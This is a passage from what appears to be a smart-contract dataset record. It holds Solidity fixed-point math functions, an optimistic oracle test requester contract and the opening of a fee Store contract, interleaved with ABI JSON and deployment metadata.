/**
* @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a uint256.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 mulRaw = a.rawValue.mul(b.rawValue);
uint256 mulFloor = mulRaw / FP_SCALING_FACTOR;
uint256 mod = mulRaw.mod(FP_SCALING_FACTOR);
if (mod != 0) {
return Unsigned(mulFloor.add(1));
} else {
return Unsigned(mulFloor);
}
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as a uint256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a uint256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return div(fromUnscaledUint(a), b);
}
/**
* @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR);
uint256 divFloor = aScaled.div(b.rawValue);
uint256 mod = aScaled.mod(b.rawValue);
if (mod != 0) {
return Unsigned(divFloor.add(1));
} else {
return Unsigned(divFloor);
}
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))"
// similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned.
// This creates the possibility of overflow if b is very large.
return divCeil(a, fromUnscaledUint(b));
}
/**
* @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return output is `a` to the power of `b`.
*/
function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) {
output = fromUnscaledUint(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
// ------------------------------------------------- SIGNED -------------------------------------------------------------
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For signed values:
// This can represent a value up (or down) to +-(2^255 - 1)/10^18 = ~10^58. 10^58 will be stored internally as int256 10^76.
int256 private constant SFP_SCALING_FACTOR = 10**18;
struct Signed {
int256 rawValue;
}
function fromSigned(Signed memory a) internal pure returns (Unsigned memory) {
require(a.rawValue >= 0, "Negative value provided");
return Unsigned(uint256(a.rawValue));
}
function fromUnsigned(Unsigned memory a) internal pure returns (Signed memory) {
require(a.rawValue <= uint256(type(int256).max), "Unsigned too large");
return Signed(int256(a.rawValue));
}
/**
* @notice Constructs a `Signed` from an unscaled int, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a int to convert into a FixedPoint.Signed.
* @return the converted FixedPoint.Signed.
*/
function fromUnscaledInt(int256 a) internal pure returns (Signed memory) {
return Signed(a.mul(SFP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a int256.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the minimum of `a` and `b`.
*/
function min(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the maximum of `a` and `b`.
*/
function max(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Signed` to an unscaled int, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, int256 b) internal pure returns (Signed memory) {
return add(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled int256 from an `Signed`, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, int256 b) internal pure returns (Signed memory) {
return sub(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts an `Signed` from an unscaled int256, reverting on overflow.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(int256 a, Signed memory b) internal pure returns (Signed memory) {
return sub(fromUnscaledInt(a), b);
}
/**
* @notice Multiplies two `Signed`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as an int256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because SFP_SCALING_FACTOR != 0.
return Signed(a.rawValue.mul(b.rawValue) / SFP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Signed` and an unscaled int256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Signed`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 mulRaw = a.rawValue.mul(b.rawValue);
int256 mulTowardsZero = mulRaw / SFP_SCALING_FACTOR;
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = mulRaw % SFP_SCALING_FACTOR;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(mulTowardsZero.add(valueToAdd));
} else {
return Signed(mulTowardsZero);
}
}
/**
* @notice Multiplies an `Signed` and an unscaled int256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Signed(a.rawValue.mul(b));
}
/**
* @notice Divides one `Signed` by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as an int256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Signed(a.rawValue.mul(SFP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Signed` by an unscaled int256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled int256 by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a an int256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(int256 a, Signed memory b) internal pure returns (Signed memory) {
return div(fromUnscaledInt(a), b);
}
/**
* @notice Divides one `Signed` by an `Signed` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 aScaled = a.rawValue.mul(SFP_SCALING_FACTOR);
int256 divTowardsZero = aScaled.div(b.rawValue);
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = aScaled % b.rawValue;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(divTowardsZero.add(valueToAdd));
} else {
return Signed(divTowardsZero);
}
}
/**
* @notice Divides one `Signed` by an unscaled int256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Signed(a.rawValue.div(b))"
// similarly to mulCeil with an int256 as the second parameter. Therefore we need to convert b into an Signed.
// This creates the possibility of overflow if b is very large.
return divAwayFromZero(a, fromUnscaledInt(b));
}
/**
* @notice Raises an `Signed` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint.Signed.
* @param b a uint256 (negative exponents are not allowed).
* @return output is `a` to the power of `b`.
*/
function pow(Signed memory a, uint256 b) internal pure returns (Signed memory output) {
output = fromUnscaledInt(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
} | [{"inputs":[{"internalType":"address","name":"finderAddress","type":"address"},{"internalType":"address","name":"ownerAddress","type":"address"},{"internalType":"address","name":"voterAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"AddedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"oldMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"RemovedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"ResetExclusiveMember","type":"event"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"addMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"bytes","name":"encryptedVote","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.CommitmentAncillary[]","name":"commits","type":"tuple[]"}],"name":"batchCommit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"internalType":"struct VotingAncillaryInterface.RevealAncillary[]","name":"reveals","type":"tuple[]"}],"name":"batchReveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"commitVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"getMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToCheck","type":"address"}],"name":"holdsRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToRemove","type":"address"}],"name":"removeMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"renounceMembership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"resetMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roundId","type":"uint256"},{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.PendingRequestAncillary[]","name":"toRetrieve","type":"tuple[]"}],"name":"retrieveRewards","outputs":[{"components":[{"internalType":"uint256","name":"rawValue","type":"uint256"}],"internalType":"struct FixedPoint.Unsigned","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"name":"revealVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"erc20Address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 199 | 00000000000000000000000040f941e48a552bf496b154af6bf55725f18d77c30000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d0000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d | Default | Unknown | false | ipfs://617d39572f2a704ccf2f89c018de5a76636c4d524dab1138bcb4599330f70518 |
||
DesignatedVoting | contracts/oracle/implementation/test/OptimisticRequesterTest.sol | 0xa581ea2537f67ebe9f43d751e819bd918e809397 | Solidity | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../OptimisticOracle.sol";
// This is just a test contract to make requests to the optimistic oracle.
contract OptimisticRequesterTest is OptimisticRequester {
OptimisticOracle optimisticOracle;
bool public shouldRevert = false;
// State variables to track incoming calls.
bytes32 public identifier;
uint256 public timestamp;
bytes public ancillaryData;
uint256 public refund;
int256 public price;
constructor(OptimisticOracle _optimisticOracle) public {
optimisticOracle = _optimisticOracle;
}
function requestPrice(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
IERC20 currency,
uint256 reward
) external {
currency.approve(address(optimisticOracle), reward);
optimisticOracle.requestPrice(_identifier, _timestamp, _ancillaryData, currency, reward);
}
function settleAndGetPrice(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external returns (int256) {
return optimisticOracle.settleAndGetPrice(_identifier, _timestamp, _ancillaryData);
}
function setBond(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 bond
) external {
optimisticOracle.setBond(_identifier, _timestamp, _ancillaryData, bond);
}
function setRefundOnDispute(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external {
optimisticOracle.setRefundOnDispute(_identifier, _timestamp, _ancillaryData);
}
function setCustomLiveness(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 customLiveness
) external {
optimisticOracle.setCustomLiveness(_identifier, _timestamp, _ancillaryData, customLiveness);
}
function setRevert(bool _shouldRevert) external {
shouldRevert = _shouldRevert;
}
function clearState() external {
delete identifier;
delete timestamp;
delete refund;
delete price;
}
function priceProposed(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
}
function priceDisputed(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 _refund
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
refund = _refund;
}
function priceSettled(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
int256 _price
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
price = _price;
}
} | [{"inputs":[{"internalType":"address","name":"finderAddress","type":"address"},{"internalType":"address","name":"ownerAddress","type":"address"},{"internalType":"address","name":"voterAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"AddedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"oldMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"RemovedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"ResetExclusiveMember","type":"event"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"addMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"bytes","name":"encryptedVote","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.CommitmentAncillary[]","name":"commits","type":"tuple[]"}],"name":"batchCommit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"internalType":"struct VotingAncillaryInterface.RevealAncillary[]","name":"reveals","type":"tuple[]"}],"name":"batchReveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"commitVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"getMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToCheck","type":"address"}],"name":"holdsRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToRemove","type":"address"}],"name":"removeMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"renounceMembership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"resetMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roundId","type":"uint256"},{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.PendingRequestAncillary[]","name":"toRetrieve","type":"tuple[]"}],"name":"retrieveRewards","outputs":[{"components":[{"internalType":"uint256","name":"rawValue","type":"uint256"}],"internalType":"struct FixedPoint.Unsigned","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"name":"revealVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"erc20Address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 199 | 00000000000000000000000040f941e48a552bf496b154af6bf55725f18d77c30000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d0000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d | Default | Unknown | false | ipfs://617d39572f2a704ccf2f89c018de5a76636c4d524dab1138bcb4599330f70518 |
||
DesignatedVoting | contracts/oracle/implementation/Store.sol | 0xa581ea2537f67ebe9f43d751e819bd918e809397 | Solidity | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/Withdrawable.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/StoreInterface.sol";
/**
* @title An implementation of Store that can accept Oracle fees in ETH or any arbitrary ERC20 token.
*/
contract Store is StoreInterface, Withdrawable, Testable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for uint256;
using SafeERC20 for IERC20;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles { Owner, Withdrawer }
FixedPoint.Unsigned public fixedOracleFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% Oracle fee.
FixedPoint.Unsigned public weeklyDelayFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% weekly delay fee.
mapping(address => FixedPoint.Unsigned) public finalFees;
uint256 public constant SECONDS_PER_WEEK = 604800;
/****************************************
* EVENTS *
****************************************/
event NewFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned newOracleFee);
event NewWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned newWeeklyDelayFeePerSecondPerPfc);
event NewFinalFee(FixedPoint.Unsigned newFinalFee);
/**
* @notice Construct the Store contract.
*/
constructor(
FixedPoint.Unsigned memory _fixedOracleFeePerSecondPerPfc,
FixedPoint.Unsigned memory _weeklyDelayFeePerSecondPerPfc,
address _timerAddress
) public Testable(_timerAddress) {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Owner), msg.sender);
setFixedOracleFeePerSecondPerPfc(_fixedOracleFeePerSecondPerPfc);
